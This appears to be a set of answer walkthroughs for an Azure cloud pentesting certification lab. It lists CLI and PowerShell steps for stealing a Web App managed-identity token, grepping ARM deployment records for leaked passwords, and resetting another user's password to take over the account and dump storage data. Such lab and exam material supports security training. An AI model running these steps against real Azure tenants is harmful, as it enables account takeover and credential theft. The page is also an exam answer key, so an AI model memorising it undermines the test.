Free Practice Questions for the The SecOps Group Cloud Pentesting eXpert CCPenX-Az Exam (2026 Updated)

Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ----------- ----------------------------------------

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

================

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

================

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

================

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================